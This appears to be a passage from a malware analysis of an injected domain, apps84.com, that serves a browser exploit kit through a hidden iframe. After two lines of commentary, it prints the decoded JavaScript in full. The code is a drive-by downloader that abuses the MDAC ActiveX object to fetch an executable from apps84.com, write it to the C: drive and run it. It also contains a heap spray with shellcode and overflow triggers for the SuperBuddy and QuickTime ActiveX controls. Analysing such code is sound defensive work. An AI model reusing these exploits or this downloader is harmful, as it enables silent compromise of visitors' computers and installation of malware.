This new injected domain will call hidden iframe from http://apps84.com/cgi-bin/index.cgi?ad
index.cgi?ad is an obfuscated JS, which successfully decoded will depending on the browser version and language setting, download code from http://apps84.com/cgi-bin/index.cgi?ffd34c3e0100f0600077e0ed58060000000002b7b2ae43ff[code]
Interestingly, the code downloaded is another obfuscated javascript. Using the same method of decoding, results in this code
function q37Qot3M(C9a5yGFZ)
{
var qPjQyRih = "abcdefghiklmnopqrstuvwxyz0123456789";
var Z4mYjfqe = '';
for (var ayDbH97x=0; ayDbH97x<C9a5yGFZ; ayDbH97x++) {
var UxA8KpPP = Math.floor(Math.random() * qPjQyRih.length);
Z4mYjfqe += qPjQyRih.substring(UxA8KpPP, UxA8KpPP+1);
}
return Z4mYjfqe;
}
function rRr2voNt(gqzRhsXa, zDW_Nrnc)
{
var UqeZTIIs = null;
var ewf9BHSL = 'UqeZTIIs=gqzRhsXa.';
var pb4SCZne = new Array(
'CreateObject(zDW_Nrnc)',
'CreateObject(zDW_Nrnc, "")',
'CreateObject(zDW_Nrnc, "", "")',
'GetObject("", zDW_Nrnc)',
'GetObject(zDW_Nrnc, "")',
'GetObject(zDW_Nrnc)'
);
var ibygzrSi=0;
while(!UqeZTIIs && ibygzrSi < pb4SCZne.length) {
try {
eval(ewf9BHSL+pb4SCZne[ibygzrSi]);
} catch(e) { }
ibygzrSi++;
}
return UqeZTIIs;
}
function EQnpdJ3R(rDx3Y3YK, nmg1Ya8Z)
{
try {
rDx3Y3YK.open("GET", nmg1Ya8Z, false);
rDx3Y3YK.send(null);
} catch(e) { return 0; }
return rDx3Y3YK.responseBody;
}
function iFzeRt3v(kJVv5iSV, GGib1Bbs, nlpYQQkD)
{
try {
kJVv5iSV.Type = 1;
kJVv5iSV.Mode = 3;
kJVv5iSV.Open();
kJVv5iSV.Write(nlpYQQkD);
kJVv5iSV.SaveToFile(GGib1Bbs, 2);
kJVv5iSV.Close();
} catch(e) { return 0; }
return 1;
}
function l8NTJVdS(fjt4aEGK, rDx3Y3YK, kJVv5iSV, f8ooKsQo, GFWQLQNh)
{
var ybDUybhC = 0;
var HgFYBJZD = EQnpdJ3R(rDx3Y3YK, fjt4aEGK);
if (HgFYBJZD != 0) {
var lJ99WYEL = "c:\\"+q37Qot3M(6)+".exe";
if (iFzeRt3v(kJVv5iSV, lJ99WYEL, HgFYBJZD) == 1) {
if (GFWQLQNh == 0) {
try {
f8ooKsQo.Run(lJ99WYEL, 0);
ybDUybhC = 1;
} catch(e) { }
} else {
try {
f8ooKsQo.ShellExecute(lJ99WYEL, "", "", "open", 0);
ybDUybhC = 1;
} catch(e) { }
}
}
}
return ybDUybhC;
}
function GpU6LOfo()
{
var rEoXWlfi = 0;
var bc_CUBHX = 1;
var VGCo6zkO = "http://apps84.com/cgi-bin/index.cgi?ff4a457c0100f0600277e0ed58060000000002b72ba2710001040900000000020";
var kf4nCFPY = new Array(null, null, null);
try {
var nAn0J9zC = 0;
var rv9jQ4yP = document.createElement("object");
rv9jQ4yP.setAttribute("classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36");
if (rv9jQ4yP) {
kf4nCFPY[0] = rRr2voNt(rv9jQ4yP, "msxml2.XMLHTTP");
if (!kf4nCFPY[0])
kf4nCFPY[0] = rRr2voNt(rv9jQ4yP, "Microsoft.XMLHTTP");
if (!kf4nCFPY[0])
kf4nCFPY[0] = rRr2voNt(rv9jQ4yP, "MSXML2.ServerXMLHTTP");
kf4nCFPY[1] = rRr2voNt(rv9jQ4yP, "ADODB.Stream");
kf4nCFPY[2] = rRr2voNt(rv9jQ4yP, "WScript.Shell");
if (!kf4nCFPY[2]) {
kf4nCFPY[2] = rRr2voNt(rv9jQ4yP, "Shell.Application");
if (kf4nCFPY[2]) nAn0J9zC = 1;
}
}
if (kf4nCFPY[0] && kf4nCFPY[1] && kf4nCFPY[2]) {
for(var ELxcGHTj=0;ELxcGHTj<bc_CUBHX;ELxcGHTj++) {
var GH3tzsho = l8NTJVdS(VGCo6zkO+ELxcGHTj.toString(), kf4nCFPY[0], kf4nCFPY[1], kf4nCFPY[2], nAn0J9zC);
if (!rEoXWlfi)
rEoXWlfi = GH3tzsho;
}
}
} catch(e) {}
return rEoXWlfi;
}
function z15QLzDF(NpTt78SK, vyRa5Vhw)
{
try {
var bcUSP1AU = new Date();
bcUSP1AU.setDate(bcUSP1AU.getDate() + 120000);
if (NpTt78SK) {
document.cookie =
"id=" + NpTt78SK +
"; path=/" +
"; expires=" + bcUSP1AU.toGMTString();
}
if (vyRa5Vhw) {
document.cookie =
"addt=" + vyRa5Vhw +
"; path=/" +
"; expires=" + bcUSP1AU.toGMTString();
}
} catch(e) {
}
}
var lajutPnm = new Array();
var xnyWSACx = 0;
function t02H59nf()
{
lajutPnm = lajutPnm;
setTimeout(t02H59nf, 100);
}
function wuWdTHTE(qXNjDqmd, aDNIjIpy)
{
while (qXNjDqmd.length*2<aDNIjIpy)
qXNjDqmd += qXNjDqmd;
qXNjDqmd = qXNjDqmd.substring(0,aDNIjIpy/2);
return qXNjDqmd;
}
function S3czSfbD()
{
if (!xnyWSACx) {
var V2dJq4HP = 0x0c0c0c0c;
var qsNDyV7P = unescape("%u00e8%u0000%u5d00%uc583%ub914%u018d%u0000%ue4b0%u4530%u4500%u7549%uebf9%u7400%u7474%u7474%u7474%u0d74%ue418%ue4e4%u80bb%ud445%ue4e4%u9ce4%u6fe8%ue8a4%u946f%u49f8%u8c6f%u0fec%u6fed%ud0a4%ua469%u6f98%ud88c%u136f%ue08e%u0cbd%ue46b%ue4e4%u1d06%u8b8c%ue48a%u8ce4%u9691%u8988%u1bb0%u6ff2%u0c0c%ue49d%ue4e4%u336f%u64a3%ue4db%u1e91%ub3a3%u64a3%ue4db%u1e91%u0b6f%ud7bb%u652d%ue008%ue4e5%u6fe4%ub538%ub7b6%ue08c%ue4e5%u1be4%ue8b2%ubdbe%ub6b5%ue66f%ua7b7%udf64%u91e4%u651e%u189f%u81ca%u819c%ue791%u0f67%u6dec%u23e7%ue0a7%u81ca%u819c%ua722%ue4ec%u6ebf%ue025%u6cd4%ue4a1%u24d7%ub4b4%ub3b7%u1bb4%uf4b2%u1c67%u91e4%u8ee2%ub7e5%ub21b%ubee0%u67bd%ue026%u64a5%ue4de%u5091%ub21b%ub5ec%u6fb2%ud891%u906f%u9cca%u11e7%u6fb2%uc492%u11e7%u2dd7%ua5ad%ue749%ud721%ueb3f%uf45a%u32de%uec90%u2f25%ue7e9%ua43e%u150f%ufbdf%u0391%u6fba%uc0ba%u39e7%u6f82%uafe8%uba6f%ue7f8%u6f39%u6fe0%u21e7%uba4f%u27bd%u1b0c%u1b1a%u6a1b%ueaaa%u7c08%u6e1a%u9aea%u063c%ud797%u6e2e%ud2bf%ucbfe%u9494%u8c83%ue4a3%u908c%u9490%ucbde%u85cb%u9494%udc97%ucad0%u8b87%ucb89%u8387%uc98d%u8d86%ucb8a%u8a8d%u8180%uca9c%u8387%udb8d%u8282%u85d0%ud1d0%u87d3%ud5d4%ud4d4%ud482%ud4d2%ud6d4%ud3d3%ud481%u8081%udcd1%ud2d4%ud4d4%ud4d4%ud4d4%ud4d4%ud6d4%ud386%u86d6%ud685%ud5d3%ud4d4%ud5d4%ud0d4%uddd4%ud4d4%ud4d4%ud4d4%ud4d4%udcd4%ue4d4");
var yuVqerxP = 0x400000;
var FDatJxfq = qsNDyV7P.length * 2;
var aDNIjIpy = yuVqerxP - (FDatJxfq+0x38);
var qXNjDqmd = unescape("%u0c0c%u0c0c");
qXNjDqmd = wuWdTHTE(qXNjDqmd,aDNIjIpy);
var NGNogBza = (V2dJq4HP - 0x400000)/yuVqerxP;
for (var U4Dn_RUx=0;U4Dn_RUx<NGNogBza;U4Dn_RUx++) {
lajutPnm[U4Dn_RUx] = qXNjDqmd + qsNDyV7P;
}
xnyWSACx = 1;
t02H59nf();
}
return 0;
}
function JgIeEAxw() {
try {
var YNu_L1Ip = new ActiveXObject('Sb.SuperBuddy');
if (YNu_L1Ip) {
S3czSfbD();
z15QLzDF(9);
YNu_L1Ip.LinkSBIcons(0x0c0c0c0c);
}
} catch(e) {
}
return 0;
}
function zmpCkFBI()
{
try {
var plv4KWFi = new ActiveXObject("QuickTime.QuickTime.4");
if (plv4KWFi) {
S3czSfbD();
var mk84Pufq = "";
for(var Zxae7BbE=0;Zxae7BbE<200;Zxae7BbE++) {
mk84Pufq += "AAAA";
}
mk84Pufq += "AAA";
for(var Zxae7BbE=0;Zxae7BbE<3;Zxae7BbE++) {
mk84Pufq += "\x0c\x0c\x0c\x0c";
}
var Et27CeXt =
'' +
'' +
'' +
'' +
'<param name="qtnext1" value="T">' +
'' +
'';
gAqc_6tX = 0;
var eBUg1ask = document.createElement("div");
eBUg1ask.innerHTML = Et27CeXt;
z15QLzDF(6);
document.body.appendChild(eBUg1ask);
}
} catch(e) {
}
return 0;
}
if (GpU6LOfo() || JgIeEAxw() || zmpCkFBI()
) {
document.XQYxMigz = 'about:blank';
} else {
document.XQYxMigz = 'about:blank';
}
/*setTimeout(function() {
if (document.gAqc_6tX && document.mEWDIx_N && document.Z4lSVtbt) {
setTimeout("window.location = '" + document.XQYxMigz + "';", 1000);
} else {
setTimeout(arguments.callee, 1000);
}
}, 1000);*/